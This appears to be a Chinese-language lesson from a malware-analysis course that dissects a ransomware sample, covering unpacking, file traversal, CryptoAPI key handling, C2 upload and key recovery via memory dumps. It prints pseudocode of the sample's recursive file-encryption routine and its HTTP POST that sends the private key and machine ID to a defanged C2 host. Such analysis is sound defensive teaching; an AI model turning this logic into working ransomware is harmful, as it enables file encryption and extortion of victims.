第二十一课:恶意代码分析实战(二)——勒索软件样本分析
好,咱们接着聊。上一课我们把恶意代码分析的基础流程走了一遍,从静态查看到动态调试。今天要动真格的了——直接上手一个勒索软件样本。
说实话,我第一次分析勒索软件时,心里是有点发怵的。毕竟这东西一旦跑起来,真能把你的文件全锁了。但作为安全研究员,我们得学会在受控环境里解剖它。今天的目标很明确:搞清楚它的加密逻辑、文件遍历方式、C2通信机制,然后尝试解密被锁的文件——前提是密钥留在本地。
样本初探:它到底是个什么东西?
拿到样本,我习惯先用 file 命令看一眼。嗯,PE32 可执行文件,用 UPX 加壳了。脱壳是第一步,不然啥都看不清。
# 脱壳
upx -d ransomware_sample.exe -o unpacked.exe
脱壳后,用 PEStudio 扫一下导入表。有意思,它导入了 CryptEncrypt、CryptGenKey、FindFirstFileW、InternetOpenW 这些 API。加密、文件遍历、网络通信,三件套齐了。
关键发现: 样本使用了 Windows CryptoAPI,而不是自己实现加密算法。这意味着加密过程相对标准,解密时可能有迹可循。
文件遍历:它是怎么找到你的文档的?
勒索软件要加密文件,第一步就是遍历磁盘。我反编译了脱壳后的样本,找到了文件遍历的核心逻辑。
// 伪代码示意
void TraverseDirectory(LPCWSTR path) {
WIN32_FIND_DATAW findData;
WCHAR searchPath[MAX_PATH];
wcscpy(searchPath, path);
wcscat(searchPath, L"\\*.*");
HANDLE hFind = FindFirstFileW(searchPath, &findData);
if (hFind == INVALID_HANDLE_VALUE) return;
do {
if (wcscmp(findData.cFileName, L".") == 0 ||
wcscmp(findData.cFileName, L"..") == 0)
continue;
WCHAR fullPath[MAX_PATH];
wsprintfW(fullPath, L"%s\\%s", path, findData.cFileName);
if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
// 递归遍历子目录
TraverseDirectory(fullPath);
} else {
// 检查扩展名是否在目标列表中
if (IsTargetExtension(findData.cFileName)) {
EncryptFile(fullPath);
}
}
} while (FindNextFileW(hFind, &findData));
FindClose(hFind);
}
它只加密特定扩展名的文件,比如 .doc、.xls、.pdf、.jpg。我见过有些样本还会跳过系统目录,避免把系统搞崩——毕竟勒索软件要的是钱,不是让电脑蓝屏。
实战技巧: 分析文件遍历时,重点关注它是否递归遍历所有驱动器。有些样本只遍历 C:\Users,有些则会扫遍所有盘符。这决定了受害范围。
加密逻辑:密钥是怎么生成的?
加密逻辑是勒索软件的核心。我跟踪了 CryptGenKey 的调用,发现它生成了一对 RSA 密钥——公钥和私钥。公钥用来加密文件,私钥理论上应该发到 C2 服务器。
但这里有个关键点:私钥是否被删除了?
我继续往下看,发现样本在生成密钥后,调用了 CryptExportKey 将私钥导出,然后通过 InternetWriteFile 发送到远程服务器。发送完成后,它调用了 CryptDestroyKey 销毁了内存中的私钥。
嗯,这看起来挺严谨的。但别急,我注意到一个细节——在导出私钥之前,它先把私钥写到了一个临时文件里:
// 样本中的可疑操作
HCRYPTKEY hPrivateKey;
CryptExportKey(hPrivateKey, NULL, PRIVATEKEYBLOB, 0, pbKeyBlob, &dwBlobLen);
// 写入临时文件
HANDLE hFile = CreateFileW(L"C:\\Windows\\Temp\\key.tmp", ...);
WriteFile(hFile, pbKeyBlob, dwBlobLen, &dwWritten, NULL);
CloseHandle(hFile);
// 然后才发送到C2
InternetWriteFile(hRequest, pbKeyBlob, dwBlobLen, &dwWritten);
// 最后删除临时文件
DeleteFileW(L"C:\\Windows\\Temp\\key.tmp");
看到了吗?它把私钥写到了临时文件,然后发送,再删除。但问题在于——删除操作不一定成功。如果样本在删除前崩溃了,或者被我们拦截了,这个临时文件就留下来了。
注意: 分析时一定要留意临时文件操作。很多勒索软件会先写临时文件再清理,这给了我们取证的机会。我曾经在一个样本的临时目录里找到了完整的私钥,直接解密了所有文件。
C2通信:它跟谁在说话?
样本的 C2 通信逻辑相对简单。它硬编码了一个 URL:hxxp://malicious-c2[.]com/upload。用 HTTP POST 请求发送加密后的私钥和受害者的机器信息。
// C2通信伪代码
void SendToC2(BYTE* pbKeyBlob, DWORD dwBlobLen) {
HINTERNET hSession = InternetOpenW(L"Ransomware/1.0", ...);
HINTERNET hConnect = InternetConnectW(hSession, L"malicious-c2.com", 80, ...);
HINTERNET hRequest = HttpOpenRequestW(hConnect, L"POST", L"/upload", ...);
// 构造POST数据:机器ID + 加密密钥
CHAR szPostData[1024];
sprintf(szPostData, "machine_id=%s&key=", g_machineId);
// 将密钥base64编码后追加
HttpSendRequestA(hRequest, NULL, 0, szPostData, strlen(szPostData));
// 等待服务器响应
// 如果服务器返回"OK",则删除本地密钥
}
有意思的是,如果 C2 服务器没有响应,样本会重试 3 次。如果都失败了,它不会删除本地密钥。这就是我们的突破口。
解密尝试:密钥还在本地吗?
好,现在我们来尝试解密。假设样本在运行时被我们拦截了,或者 C2 通信失败了,密钥可能还留在内存或临时文件中。
我写了一个内存转储脚本,在样本运行后立即 dump 它的进程内存:
# 使用Process Dump工具
procdump -ma ransomware.exe memory.dmp
# 或者用Volatility分析内存镜像
volatility -f memory.dmp --profile=Win7SP1x64 memdump -p [PID] -D ./
在内存转储中搜索 PRIVATEKEYBLOB 的签名(0x07 开头),就能找到私钥。找到了私钥,解密就简单了:
// 解密代码示例
BOOL DecryptFile(LPCWSTR encryptedFile, HCRYPTKEY hPrivateKey) {
// 读取加密文件
HANDLE hFile = CreateFileW(encryptedFile, GENERIC_READ, ...);
DWORD dwFileSize = GetFileSize(hFile, NULL);
BYTE* pbBuffer = (BYTE*)malloc(dwFileSize);
ReadFile(hFile, pbBuffer, dwFileSize, &dwRead, NULL);
CloseHandle(hFile);
// 解密
DWORD dwDecryptedSize = dwFileSize;
CryptDecrypt(hPrivateKey, NULL, TRUE, 0, pbBuffer, &dwDecryptedSize);
// 写回原文件
HANDLE hOutFile = CreateFileW(L"decrypted_" + encryptedFile, ...);
WriteFile(hOutFile, pbBuffer, dwDecryptedSize, &dwWritten, NULL);
CloseHandle(hOutFile);
free(pbBuffer);
return TRUE;
}
核心要点: 勒索软件的解密关键不在于算法有多复杂,而在于密钥是否被安全销毁。只要密钥留在本地,我们就有机会。我遇到过最离谱的样本,直接把私钥写在了注册表里,连加密都省了。
知识体系梳理
来,我把今天分析勒索软件的整个流程画成一张图,方便你理解各个模块之间的关系:
这张图把勒索软件的三个核心模块串起来了。文件遍历负责找目标,加密逻辑负责锁文件,C2通信负责传密钥。而我们作为分析者,要做的就是找到这个链条上的薄弱环节——通常是密钥销毁不彻底。
总结一下今天的要点
- 文件遍历: 递归遍历目录,只加密特定扩展名的文件。注意它是否跳过系统目录。
- 加密逻辑: 使用 Windows CryptoAPI 生成 RSA 密钥对。公钥加密文件,私钥发送到 C2。
- C2通信: HTTP POST 上传私钥和机器信息。如果通信失败,私钥可能留在本地。
- 解密方法: 内存转储搜索 PRIVATEKEYBLOB 签名,找到私钥后调用 CryptDecrypt 解密。
个人经验: 我分析过的勒索软件样本中,大概有 30% 会因为各种原因(C2 宕机、网络不通、代码 bug)把密钥留在本地。所以别一上来就放弃,先找找临时文件、注册表、内存转储。有时候解密比想象中简单。
好了,今天的实战就到这里。记住,分析勒索软件不是为了帮黑客擦屁股,而是为了理解攻击手法,从而更好地防御。下次遇到类似的样本,你知道该从哪里下手了。
公众号:蓝海资料掘金营,微信deep3321